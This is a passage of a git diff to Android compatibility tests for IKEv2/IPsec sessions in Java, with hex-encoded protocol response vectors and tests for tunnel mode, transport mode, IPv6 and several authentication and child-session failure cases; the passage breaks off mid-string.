+                    + "B95DCD50CD53E78C32EFE7DC1627D9432E9BFDEE130045DE967B19F92A9D1270"
+                    + "F1E2C6BFBAA56802F3E63510578EF1ECB6872852F286EEC790AA1FE0CAF391CB"
+                    + "E276554922713BA4770CFE71E23F043DC620E22CC02A74F60725D18331B7F2C9"
+                    + "276EB6FBB7CBDAA040046D7ECBE1A5D7064E04E542807C5101B941D1C81B9D5E"
+                    + "90347B22BD4E638E2EDC98E369B51AA29BDB2CF8AA610D4B893EB83A4650717C"
+                    + "38B4D145EE939C18DCEDF6C79933CEB3D7C116B1F188DF9DDD560951B54E4A7D"
+                    + "80C999A32AB02BF39D7B498DAD36F1A5CBE2F64557D6401AE9DD6E0CEADA3F90"
+                    + "540FE9114BB6B8719C9064796354F4A180A6600CAD092F8302564E409B71ACB7"
+                    + "590F19B3AC88E7A606C718D0B97F7E4B4830F11D851C59F2255846DA22E2C805"
+                    + "0CA2AF2ACF3B6C769D11B75B5AC9AB82ED3D90014994B1BF6FED58FBEF2D72EF"
+                    + "8BDFE51F9A101393A7CA1ACF78FAEBF3E3CC25E09407D1E14AF351A159A13EE3"
+                    + "9B919BA8B49942792E7527C2FB6D418C4DF427669A4BF5A1AFBBB973BAF17918"
+                    + "9C9D520CAC2283B89A539ECE785EBE48FBB77D880A17D55C84A51F46068A4B87"
+                    + "FF48FEEE50E1E034CC8AFF5DA92105F55EC4823E67BDFE942CA8BE0DAECBBD52"
+                    + "E8AAF306049DC6C4CF87D987B0AC54FCE92E6AE8507965AAAC6AB8BD3405712F"
+                    + "EE170B70BC64BDCBD86D80C7AAAF341131F9A1210D7430B17218413AE1363183"
+                    + "5C98FA2428B1E9E987ADC9070E232310A28F4C3163E18366FFB112BADD7C5E0F"
+                    + "D13093A7C1428F87856BA0A7E46955589ACA267CE7A04320C4BCDBB60C672404"
+                    + "778F8D511AAB09349DAB482445D7F606F28E7FBBB18FC0F4EC0AF04F44C282F9"
+                    + "39C6E3B955C84DADEA350667236583069B74F492D600127636FA31F63E560851"
+                    + "2FC28B8EA5B4D01D110990B6EA46B9C2E7C7C856C240EF7A8147BA2C4344B85A"
+                    + "453C862024B5B6814D13CDEAEF7683D539BB50CAFFC0416F269F2F9EDEC5FA30"
+                    + "022FD7B4B186CD2020E7ED8D81ED90822EDD8B76F840DD68F09694CFF9B4F33E"
+                    + "11DF4E601A4212881A6D4E9259001705C41E9E23D18A7F3D4A3463649A38211A"
+                    + "5A90D0F17739A677C74E23F31C01D60B5A0F1E6A4D44FED9D25BF1E63418E1FC"
+                    + "0B19F6F4B71DE53C62B14B82279538A82DD4BE19AB6E00AFC20F124AAB7DF21A"
+                    + "42259BE4F40EC69B16917256F23E2C37376311D62E0A3A0EF8C2AD0C090221D5"
+                    + "C5ECA08F08178A4D31FFDB150C609827D18AD83C7B0A43AEE0406BD3FB494B53"
+                    + "A279FDD6447E234C926AD8CE47FFF779BB45B1FC8457C6E7D257D1359959D977"
+                    + "CEF6906A3367DC4D454993EFDC6F1EA94E17EB3DCB00A289346B4CFD7F19B16E";
+    private static final String IKE_AUTH_RESP_1_FRAG_2 =
+            "46B8ECA1E0D72A1873F643FF94D249A935202320000000010000008000000064"
+                    + "00020002C61F66025E821A5E69A4DE1F591A2C32C983C3154A5003660137D685"
+                    + "A5262B9FDF5EDC699DE4D8BD38F549E3CBD12024B45B4C86561C36C3EED839DA"
+                    + "9860C6AA0B764C662D08F1B6A98F68CF6E3038F737C0B415AD8A8B7D702BD92A";
+    private static final String IKE_AUTH_RESP_2 =
+            "46B8ECA1E0D72A1873F643FF94D249A92E202320000000020000008C30000070"
+                    + "62B90C2229FD23025BC2FD7FE6341E9EE04B17264CD619BCE18975A5F88BE438"
+                    + "D4AD4A5310057255AF568C293A29B10107E3EE3675C10AA2B26404D90C0528CC"
+                    + "F7605A86C96A1F2635CCC6CFC90EE65E5C2A2262EB33FE520EB708423A83CB63"
+                    + "274ECCBB102AF5DF35742657";
+    private static final String IKE_AUTH_RESP_3 =
+            "46B8ECA1E0D72A1873F643FF94D249A92E202320000000030000004C30000030"
+                    + "AB52C3C80123D3432C05AF457CE93C352395F73E861CD49561BA528CFE68D17D"
+                    + "78BBF6FC41E81C2B9EA051A2";
+    private static final String IKE_AUTH_RESP_4 =
+            "46B8ECA1E0D72A1873F643FF94D249A92E20232000000004000000CC270000B0"
+                    + "8D3342A7AB2666AC754F4B55C5C6B1A61255E62FBCA53D5CDEEDE60DADB7915C"
+                    + "7F962076A58BF7D39A05ED1B60FF349B6DE311AF7CEBC72B4BB9723A728A5D3E"
+                    + "9E508B2D7A11843D279B56ADA07E608D61F5CA7638F10372A440AD1DCE44E190"
+                    + "7B7B7A68B126EBBB86638D667D5B528D233BA8D32D7E0FAC4E1448E87396EEE6"
+                    + "0985B79841E1229D7962AACFD8F872722EC8D5B19D4C82D6C4ADCB276127A1A7"
+                    + "3FC84CDF85B2299BC96B64AC";
+    private static final String DELETE_IKE_RESP =
+            "46B8ECA1E0D72A1873F643FF94D249A92E202520000000050000004C00000030"
+                    + "622CE06C8CB132AA00567E9BC83F58B32BD7DB5130C76E385B306434DA227361"
+                    + "D50CC19D408A8D4F36F9697F";
+
+    // This value is align with the test vectors hex that are generated in an IPv4 environment
+    private static final IkeTrafficSelector TRANSPORT_MODE_INBOUND_TS =
+            new IkeTrafficSelector(
+                    MIN_PORT,
+                    MAX_PORT,
+                    InetAddresses.parseNumericAddress("172.58.35.67"),
+                    InetAddresses.parseNumericAddress("172.58.35.67"));
+
+    private static final EapSessionConfig EAP_CONFIG =
+            new EapSessionConfig.Builder()
+                    .setEapIdentity(EAP_IDENTITY)
+                    .setEapMsChapV2Config(EAP_MSCHAPV2_USERNAME, EAP_MSCHAPV2_PASSWORD)
+                    .build();
+
+    private static X509Certificate sServerCaCert;
+
+    @BeforeClass
+    public static void setUpCertBeforeClass() throws Exception {
+        sServerCaCert = CertUtils.createCertFromPemFile("server-a-self-signed-ca.pem");
+    }
+
+    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
+        IkeSessionParams ikeParams =
+                new IkeSessionParams.Builder(sContext)
+                        .setNetwork(mTunNetwork)
+                        .setServerHostname(remoteAddress.getHostAddress())
+                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
+                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
+                        .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
+                        .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
+                        .setAuthEap(sServerCaCert, EAP_CONFIG)
+                        .build();
+        return new IkeSession(
+                sContext,
+                ikeParams,
+                buildTransportModeChildParamsWithTs(
+                        TRANSPORT_MODE_INBOUND_TS, TRANSPORT_MODE_OUTBOUND_TS),
+                mUserCbExecutor,
+                mIkeSessionCallback,
+                mFirstChildSessionCallback);
+    }
+
+    @Test
+    public void testIkeSessionSetupAndChildSessionSetupWithTransportMode() throws Exception {
+        // Open IKE Session
+        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        int expectedMsgId = 0;
+        mTunUtils.awaitReqAndInjectResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI,
+                expectedMsgId++,
+                false /* expectedUseEncap */,
+                IKE_INIT_RESP);
+
+        mTunUtils.awaitReqAndInjectResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI,
+                expectedMsgId++,
+                true /* expectedUseEncap */,
+                IKE_AUTH_RESP_1_FRAG_1,
+                IKE_AUTH_RESP_1_FRAG_2);
+
+        mTunUtils.awaitReqAndInjectResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI,
+                expectedMsgId++,
+                true /* expectedUseEncap */,
+                IKE_AUTH_RESP_2);
+        mTunUtils.awaitReqAndInjectResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI,
+                expectedMsgId++,
+                true /* expectedUseEncap */,
+                IKE_AUTH_RESP_3);
+        mTunUtils.awaitReqAndInjectResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI,
+                expectedMsgId++,
+                true /* expectedUseEncap */,
+                IKE_AUTH_RESP_4);
+
+        verifyIkeSessionSetupBlocking();
+        verifyChildSessionSetupBlocking(
+                mFirstChildSessionCallback,
+                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
+                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
+                new ArrayList<LinkAddress>());
+        IpSecTransformCallRecord firstTransformRecordA =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        IpSecTransformCallRecord firstTransformRecordB =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
+
+        // Close IKE Session
+        ikeSession.close();
+        performCloseIkeBlocking(expectedMsgId++, DELETE_IKE_RESP);
+        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
+    }
+}
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java
index ed67dd1..13f953a 100644
--- a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java
@@ -16,39 +16,35 @@
 
 package android.net.ipsec.ike.cts;
 
-import static android.net.ipsec.ike.IkeSessionConfiguration.EXTENSION_TYPE_FRAGMENTATION;
+import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
+import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_AUTHENTICATION_FAILED;
 import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_NO_PROPOSAL_CHOSEN;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-
-import static com.android.internal.util.HexDump.hexStringToByteArray;
+import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_TS_UNACCEPTABLE;
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
 
-import android.net.ipsec.ike.ChildSessionConfiguration;
+import android.net.LinkAddress;
+import android.net.ipsec.ike.ChildSessionParams;
 import android.net.ipsec.ike.IkeFqdnIdentification;
 import android.net.ipsec.ike.IkeSession;
-import android.net.ipsec.ike.IkeSessionConfiguration;
-import android.net.ipsec.ike.IkeSessionConnectionInfo;
 import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.TunnelModeChildSessionParams;
-import android.net.ipsec.ike.exceptions.IkeException;
 import android.net.ipsec.ike.exceptions.IkeProtocolException;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.net.InetAddress;
+import java.util.ArrayList;
 import java.util.Arrays;
 
 @RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "MANAGE_TEST_NETWORKS permission can't be granted to instant apps")
+@AppModeFull(reason = "MANAGE_IPSEC_TUNNELS permission can't be granted to instant apps")
 public class IkeSessionPskTest extends IkeSessionTestBase {
     // Test vectors for success workflow
     private static final String SUCCESS_IKE_INIT_RESP =
@@ -89,170 +85,287 @@
                     + "9352D71100777B00ABCC6BD7DBEA697827FFAAA48DF9A54D1D68161939F5DC8"
                     + "6743A7CEB2BE34AC00095A5B8";
 
-    private static final long IKE_INIT_SPI = Long.parseLong("46B8ECA1E0D72A18", 16);
-
-    private static final TunnelModeChildSessionParams CHILD_PARAMS =
-            new TunnelModeChildSessionParams.Builder()
-                    .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
-                    .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
-                    .addInternalAddressRequest(AF_INET)
-                    .addInternalAddressRequest(AF_INET6)
-                    .build();
-
-    private IkeSessionParams createIkeSessionParams(InetAddress mRemoteAddress) {
-        return new IkeSessionParams.Builder(sContext)
-                .setNetwork(mTunNetwork)
-                .setServerHostname(mRemoteAddress.getHostAddress())
-                .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
-                .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
-                .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
-                .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
-                .setAuthPsk(IKE_PSK)
-                .build();
+    private IkeSession openIkeSessionWithTunnelModeChild(InetAddress remoteAddress) {
+        return openIkeSession(remoteAddress, buildTunnelModeChildSessionParams());
     }
 
-    private IkeSession openIkeSession(IkeSessionParams ikeParams) {
+    private IkeSession openIkeSessionWithTransportModeChild(InetAddress remoteAddress) {
+        return openIkeSession(remoteAddress, buildTransportModeChildParamsWithDefaultTs());
+    }
+
+    private IkeSession openIkeSession(InetAddress remoteAddress, ChildSessionParams childParams) {
+        IkeSessionParams ikeParams =
+                new IkeSessionParams.Builder(sContext)
+                        .setNetwork(mTunNetwork)
+                        .setServerHostname(remoteAddress.getHostAddress())
+                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
+                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
+                        .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
+                        .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
+                        .setAuthPsk(IKE_PSK)
+                        .build();
         return new IkeSession(
                 sContext,
                 ikeParams,
-                CHILD_PARAMS,
+                childParams,
                 mUserCbExecutor,
                 mIkeSessionCallback,
                 mFirstChildSessionCallback);
     }
 
+    @BeforeClass
+    public static void setUpTunnelPermissionBeforeClass() throws Exception {
+        // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted, and
+        // a standard permission is insufficient. So we shell out the appop, to give us the
+        // right appop permissions.
+        setAppOp(OP_MANAGE_IPSEC_TUNNELS, true);
+    }
+
+    // This method is guaranteed to run in subclasses and will run after subclasses' @AfterClass
+    // methods.
+    @AfterClass
+    public static void tearDownTunnelPermissionAfterClass() throws Exception {
+        setAppOp(OP_MANAGE_IPSEC_TUNNELS, false);
+    }
+
     @Test
-    public void testIkeSessionSetupAndManageChildSas() throws Exception {
+    public void testIkeSessionSetupAndChildSessionSetupWithTunnelMode() throws Exception {
+        if (!hasTunnelsFeature()) return;
+
         // Open IKE Session
-        IkeSession ikeSession = openIkeSession(createIkeSessionParams(mRemoteAddress));
-        int expectedMsgId = 0;
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_INIT_SPI,
-                expectedMsgId++,
-                false /* expectedUseEncap */,
-                hexStringToByteArray(SUCCESS_IKE_INIT_RESP));
+        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
+        performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
 
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_INIT_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                hexStringToByteArray(SUCCESS_IKE_AUTH_RESP));
+        // IKE INIT and IKE AUTH takes two exchanges. Message ID starts from 2
+        int expectedMsgId = 2;
 
-        // Verify opening IKE Session
-        IkeSessionConfiguration ikeConfig = mIkeSessionCallback.awaitIkeConfig();
-        assertNotNull(ikeConfig);
-        assertEquals(EXPECTED_REMOTE_APP_VERSION_EMPTY, ikeConfig.getRemoteApplicationVersion());
-        assertTrue(ikeConfig.getRemoteVendorIds().isEmpty());
-        assertTrue(ikeConfig.getPcscfServers().isEmpty());
-        assertTrue(ikeConfig.isIkeExtensionEnabled(EXTENSION_TYPE_FRAGMENTATION));
+        verifyIkeSessionSetupBlocking();
+        verifyChildSessionSetupBlocking(
+                mFirstChildSessionCallback,
+                Arrays.asList(TUNNEL_MODE_INBOUND_TS),
+                Arrays.asList(TUNNEL_MODE_OUTBOUND_TS),
+                Arrays.asList(EXPECTED_INTERNAL_LINK_ADDR));
 
-        IkeSessionConnectionInfo ikeConnectInfo = ikeConfig.getIkeSessionConnectionInfo();
-        assertNotNull(ikeConnectInfo);
-        assertEquals(mLocalAddress, ikeConnectInfo.getLocalAddress());
-        assertEquals(mRemoteAddress, ikeConnectInfo.getRemoteAddress());
-        assertEquals(mTunNetwork, ikeConnectInfo.getNetwork());
-
-        // Verify opening first Child Session
-        ChildSessionConfiguration firstChildConfig = mFirstChildSessionCallback.awaitChildConfig();
-        assertNotNull(firstChildConfig);
-        assertEquals(
-                Arrays.asList(EXPECTED_INBOUND_TS), firstChildConfig.getInboundTrafficSelectors());
-        assertEquals(Arrays.asList(DEFAULT_V4_TS), firstChildConfig.getOutboundTrafficSelectors());
-        assertEquals(
-                Arrays.asList(EXPECTED_INTERNAL_LINK_ADDR),
-                firstChildConfig.getInternalAddresses());
-        assertTrue(firstChildConfig.getInternalSubnets().isEmpty());
-        assertTrue(firstChildConfig.getInternalDnsServers().isEmpty());
-        assertTrue(firstChildConfig.getInternalDhcpServers().isEmpty());
+        IpSecTransformCallRecord firstTransformRecordA =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        IpSecTransformCallRecord firstTransformRecordB =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
 
         // Open additional Child Session
         TestChildSessionCallback additionalChildCb = new TestChildSessionCallback();
-        ikeSession.openChildSession(CHILD_PARAMS, additionalChildCb);
+        ikeSession.openChildSession(buildTunnelModeChildSessionParams(), additionalChildCb);
         mTunUtils.awaitReqAndInjectResp(
-                IKE_INIT_SPI,
+                IKE_DETERMINISTIC_INITIATOR_SPI,
                 expectedMsgId++,
                 true /* expectedUseEncap */,
-                hexStringToByteArray(SUCCESS_CREATE_CHILD_RESP));
+                SUCCESS_CREATE_CHILD_RESP);
 
         // Verify opening additional Child Session
-        ChildSessionConfiguration additionalChildConfig = additionalChildCb.awaitChildConfig();
-        assertNotNull(additionalChildConfig);
-        assertEquals(
-                Arrays.asList(EXPECTED_INBOUND_TS), firstChildConfig.getInboundTrafficSelectors());
-        assertEquals(Arrays.asList(DEFAULT_V4_TS), firstChildConfig.getOutboundTrafficSelectors());
-        assertTrue(additionalChildConfig.getInternalAddresses().isEmpty());
-        assertTrue(firstChildConfig.getInternalSubnets().isEmpty());
-        assertTrue(firstChildConfig.getInternalDnsServers().isEmpty());
-        assertTrue(firstChildConfig.getInternalDhcpServers().isEmpty());
+        verifyChildSessionSetupBlocking(
+                additionalChildCb,
+                Arrays.asList(TUNNEL_MODE_INBOUND_TS),
+                Arrays.asList(TUNNEL_MODE_OUTBOUND_TS),
+                new ArrayList<LinkAddress>());
+        IpSecTransformCallRecord additionalTransformRecordA =
+                additionalChildCb.awaitNextCreatedIpSecTransform();
+        IpSecTransformCallRecord additionalTransformRecordB =
+                additionalChildCb.awaitNextCreatedIpSecTransform();
+        verifyCreateIpSecTransformPair(additionalTransformRecordA, additionalTransformRecordB);
 
         // Close additional Child Session
         ikeSession.closeChildSession(additionalChildCb);
         mTunUtils.awaitReqAndInjectResp(
-                IKE_INIT_SPI,
+                IKE_DETERMINISTIC_INITIATOR_SPI,
                 expectedMsgId++,
                 true /* expectedUseEncap */,
-                hexStringToByteArray(SUCCESS_DELETE_CHILD_RESP));
+                SUCCESS_DELETE_CHILD_RESP);
 
+        verifyDeleteIpSecTransformPair(
+                additionalChildCb, additionalTransformRecordA, additionalTransformRecordB);
         additionalChildCb.awaitOnClosed();
 
         // Close IKE Session
         ikeSession.close();
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_INIT_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                hexStringToByteArray(SUCCESS_DELETE_IKE_RESP));
-
-        mFirstChildSessionCallback.awaitOnClosed();
-        mIkeSessionCallback.awaitOnClosed();
-
-        // TODO: verify IpSecTransform pair is created and deleted
+        performCloseIkeBlocking(expectedMsgId++, SUCCESS_DELETE_IKE_RESP);
+        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
     }
 
     @Test
-    public void testIkeSessionKill() throws Exception {
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSession(createIkeSessionParams(mRemoteAddress));
-        int expectedMsgId = 0;
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_INIT_SPI,
-                expectedMsgId++,
-                false /* expectedUseEncap */,
-                hexStringToByteArray(SUCCESS_IKE_INIT_RESP));
+    public void testIkeSessionSetupAndChildSessionSetupWithTunnelModeV6() throws Exception {
+        if (!hasTunnelsFeature()) return;
 
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_INIT_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                hexStringToByteArray(SUCCESS_IKE_AUTH_RESP));
+        final String ikeInitResp =
+                "46B8ECA1E0D72A186F7B6C2CEB77EB9021202220000000000000011822000030"
+                        + "0000002C010100040300000C0100000C800E0100030000080300000C03000008"
+                        + "0200000500000008040000022800008800020000DABAA04B38B491E2403F2125"
+                        + "96ECF1C8EF7B1DC19A422FDD46E1756C826BB3A16404361B775D9950577B5CDF"
+                        + "6AAA1642BD1427BDA8BC55354A97C1025E19C1E2EE2DF8A0C9406E545D829F52"
+                        + "75695008E3B742984B8DD1770F3514213B0DF3EE8B199416DF200D248115C057"
+                        + "1C193E4F96802E5EF48DD99CAC251882A8F7CCC329000024BC6F0F1D3653C2C7"
+                        + "679E02CDB6A3B32B2FEE9AF52F0326D4D9AE073D56CE8922290000080000402E"
+                        + "290000100000402F00020003000400050000000800004014";
+        final String ikeAuthResp =
+                "46B8ECA1E0D72A186F7B6C2CEB77EB902E202320000000010000015024000134"
+                        + "4D115AFDCDAD0310760BB664EB7D405A340869AD6EDF0AAEAD0663A9253DADCB"
+                        + "73EBE5CD29D4FA1CDEADE0B94391B5C4CF77BCC1596ACE3CE6A7891E44888FA5"
+                        + "46632C0EF4E6193C023C9DC59142C37D1C49D6EF5CD324EC6FC35C89E1721C78"
+                        + "91FDCDB723D8062709950F4AA9273D26A54C9C7E86862DBC15F7B6641D2B9BAD"
+                        + "E55069008201D12968D97B537B1518FE87B0FFA03C3EE6012C06721B1E2A3F68"
+                        + "92108BC4A4F7063F7F94562D8B60F291A1377A836CF12BCDA7E15C1A8F3C77BB"
+                        + "6DB7F2C833CCE4CDDED7506536621A3356CE2BC1874E7B1A1A9B447D7DF6AB09"
+                        + "638B8AD94A781B28BB91B514B611B24DF8E8A047A10AE27BBF15C754D3D2F792"
+                        + "D3E1CCADDAE934C98AE53A8FC3419C88AFF0355564F82A629C998012DA7BB704"
+                        + "5307270DF326377E3E1994476902035B";
+        final String deleteIkeResp =
+                "46B8ECA1E0D72A186F7B6C2CEB77EB902E202520000000020000005000000034"
+                        + "CF15C299F35688E5140A48B61C95F004121BF8236201415E5CD45BA41AAB16D4"
+                        + "90B44B9E6D5D92B5B97D24196A58C73F";
+
+        mLocalAddress = IPV6_ADDRESS_LOCAL;
+        mRemoteAddress = IPV6_ADDRESS_REMOTE;
+
+        // Teardown current test network that uses IPv4 address and set up new network with IPv6
+        // address.
+        tearDownTestNetwork();
+        setUpTestNetwork(mLocalAddress);
+
+        // Open IKE Session
+        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
+        performSetupIkeAndFirstChildBlocking(
+                ikeInitResp,
+                1 /* expectedAuthReqPktCnt */,
+                false /* expectedAuthUseEncap */,
+                ikeAuthResp);
+
+        // Local request message ID starts from 2 because there is one IKE_INIT message and a single
+        // IKE_AUTH message.
+        int expectedMsgId = 2;
+
+        verifyIkeSessionSetupBlocking();
+        verifyChildSessionSetupBlocking(
+                mFirstChildSessionCallback,
+                Arrays.asList(TUNNEL_MODE_INBOUND_TS_V6),
+                Arrays.asList(TUNNEL_MODE_OUTBOUND_TS_V6),
+                Arrays.asList(EXPECTED_INTERNAL_LINK_ADDR_V6),
+                Arrays.asList(EXPECTED_DNS_SERVERS_ONE, EXPECTED_DNS_SERVERS_TWO));
+
+        IpSecTransformCallRecord firstTransformRecordA =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        IpSecTransformCallRecord firstTransformRecordB =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
+
+        // Close IKE Session
+        ikeSession.close();
+        performCloseIkeBlocking(expectedMsgId++, false /* expectedUseEncap */, deleteIkeResp);
+        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
+    }
+
+    @Test
+    public void testIkeSessionKillWithTunnelMode() throws Exception {
+        if (!hasTunnelsFeature()) return;
+
+        // Open IKE Session
+        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
+        performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
 
         ikeSession.kill();
-
         mFirstChildSessionCallback.awaitOnClosed();
         mIkeSessionCallback.awaitOnClosed();
     }
 
     @Test
     public void testIkeInitFail() throws Exception {
-        String ikeInitFailRespHex =
+        final String ikeInitFailRespHex =
                 "46B8ECA1E0D72A180000000000000000292022200000000000000024000000080000000E";
 
         // Open IKE Session
-        IkeSession ikeSession = openIkeSession(createIkeSessionParams(mRemoteAddress));
+        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
         int expectedMsgId = 0;
         mTunUtils.awaitReqAndInjectResp(
-                IKE_INIT_SPI,
+                IKE_DETERMINISTIC_INITIATOR_SPI,
                 expectedMsgId++,
                 false /* expectedUseEncap */,
-                hexStringToByteArray(ikeInitFailRespHex));
+                ikeInitFailRespHex);
 
-        IkeException exception = mIkeSessionCallback.awaitOnClosedException();
-        assertNotNull(exception);
-        assertTrue(exception instanceof IkeProtocolException);
-        IkeProtocolException protocolException = (IkeProtocolException) exception;
+        mFirstChildSessionCallback.awaitOnClosed();
+
+        IkeProtocolException protocolException =
+                (IkeProtocolException) mIkeSessionCallback.awaitOnClosedException();
         assertEquals(ERROR_TYPE_NO_PROPOSAL_CHOSEN, protocolException.getErrorType());
         assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
     }
 
-    // TODO(b/148689509): Verify rekey process and handling IKE_AUTH failure
+    @Test
+    public void testIkeAuthHandlesAuthFailNotification() throws Exception {
+        final String ikeInitRespHex =
+                "46B8ECA1E0D72A18CF94CE3159486F002120222000000000000001502200"
+                        + "00300000002C010100040300000C0100000C800E01000300000803000005"
+                        + "0300000802000004000000080400000228000088000200001821AA854691"
+                        + "FA3292DF710F0AC149ACBD0CB421608B8796C1912AF04C5B4B23936FDEC4"
+                        + "7CB640E3EAFB56BBB562825E87AF68B40E4BAB80A49BAD44407450A4195A"
+                        + "1DD54BD99F48D28C9F0FBA315A3401C1C3C4AD55911F514A8DF2D2467C46"
+                        + "A73DDC1452AE81336E0F0D5EC896D2E7A77628AF2F9089F48943399DF216"
+                        + "EFCD2900002418D2B7E4E6AF0FEFF5962CF8D68F7793B1293FEDE13331D4"
+                        + "AB0CE9436C2EE1EC2900001C0000400457BD9AEF5B362A83DD7F3DDAA4A9"
+                        + "9B6B4041DAF32900001C000040055A81893582701E44D4B6729A22FE06DE"
+                        + "82A03A36290000080000402E290000100000402F00020003000400050000"
+                        + "000800004014";
+        final String ikeAuthFailRespHex =
+                "46B8ECA1E0D72A18CF94CE3159486F002E202320000000010000004C2900"
+                        + "00301B9E4C8242D3BE62E7F0A537FE8B92C6EAB7153105DA421DCE43A06D"
+                        + "AB6E4808BAC0CA1DAD6ADD0A126A41BD";
+
+        // Open IKE Session
+        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
+        performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthFailRespHex);
+
+        mFirstChildSessionCallback.awaitOnClosed();
+        IkeProtocolException protocolException =
+                (IkeProtocolException) mIkeSessionCallback.awaitOnClosedException();
+        assertEquals(ERROR_TYPE_AUTHENTICATION_FAILED, protocolException.getErrorType());
+        assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
+    }
+
+    @Test
+    public void testIkeAuthHandlesFirstChildCreationFail() throws Exception {
+        final String ikeInitRespHex =
+                "46B8ECA1E0D72A18F5ABBF896A1240BE2120222000000000000001502200"
+                        + "00300000002C010100040300000C0100000C800E0100030000080300000C"
+                        + "03000008020000050000000804000002280000880002000074950F016B85"
+                        + "605E57E24651843AB70E41B552EDEE227DFE51E6CBEC00E75FFEFC7D5453"
+                        + "109B15F721FCD811FC9F113BE06050882F2FC5F5FF25857E555CCFB5AB64"
+                        + "8B0D1D7A819A3B05DE1FE89A4A627C60D5AA06CD0F66ACD3748722F9CD4F"
+                        + "F30AE7477CBC12049821F07AD6C9F0ED732321A6A36FA817722E025AC34B"
+                        + "ABE62900002432E3807F595070E95EDA341A787599B24B1151B535B0222B"
+                        + "65C003401B9B38F82900001C000040043BB760DB3037B51768DFFAB4B21D"
+                        + "B1716EA1C1382900001C0000400531098EB04DF1BE3F304606BD59B454A8"
+                        + "CC7E7311290000080000402E290000100000402F00020003000400050000"
+                        + "000800004014";
+        final String ikeAuthCreateChildFailHex =
+                "46B8ECA1E0D72A18F5ABBF896A1240BE2E20232000000001000000B02400"
+                        + "009400B0861242E0C88ECB3848D772B560CAD65B6AC9DFFDC8622A394B8E"
